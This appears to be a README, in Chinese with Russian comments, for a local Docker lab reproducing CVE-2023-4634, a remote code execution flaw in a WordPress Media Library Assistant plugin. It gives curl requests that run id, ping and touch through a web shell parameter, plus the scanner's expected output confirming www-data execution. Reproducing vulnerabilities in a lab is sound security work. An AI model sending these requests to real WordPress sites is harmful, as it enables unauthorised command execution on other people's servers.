1. 构建并启动环境
cd Stand
docker-compose up --build -d
2. 等待服务启动（60秒）
sleep 60
curl -I http://localhost:8080
3. 运行漏洞扫描
cd ../PoC/src
python3 scanner.py http://localhost:8080
4. 手动测试 RCE
# Тест команды id
curl "http://localhost:8080/rce_proof.php?cmd=id"
# Тест команды ping
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"
# Создание файла-доказательства
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"
✅ 预期结果
scanner.py 输出：
[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt
result.txt 内容：
{
"cve": "CVE-2023-4634",
"target": "http://localhost:8080",
"timestamp": "2025-12-21 13:49:19",
"vulnerable": true,
"findings": {
"wordpress": true,
"plugin_vulnerable": true,
"rce_id": true,
"rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
"rce_ping": true,
"rce_file_check": true
},
"plugin_version": "3.09",
"status": "VULNERABLE"
}
🔧 技术规格
网络：
- WordPress:
172.20.0.2:80（可通过 localhost:8080 访问）
- 数据库：
172.20.0.3:3306
- 网络：
172.20.0.0/24
要求：
- CVE: CVE-2023-4634
- 受影响组件： Media Library Assistant 插件 < 3.10
- 漏洞类型： 远程代码执行（RCE）
- 系统要求： Docker、Python 3.7+
📊 RCE 证明
- ✅ 通过 HTTP 执行
id 命令
- ✅ 通过 HTTP 执行
ping 命令
- ✅ 在
/tmp/ 中创建文件
- ✅ 确认
www-data 权限
- ✅ 结果已记录在
result.txt 中
🧹 清理
cd Stand
docker-compose down -v
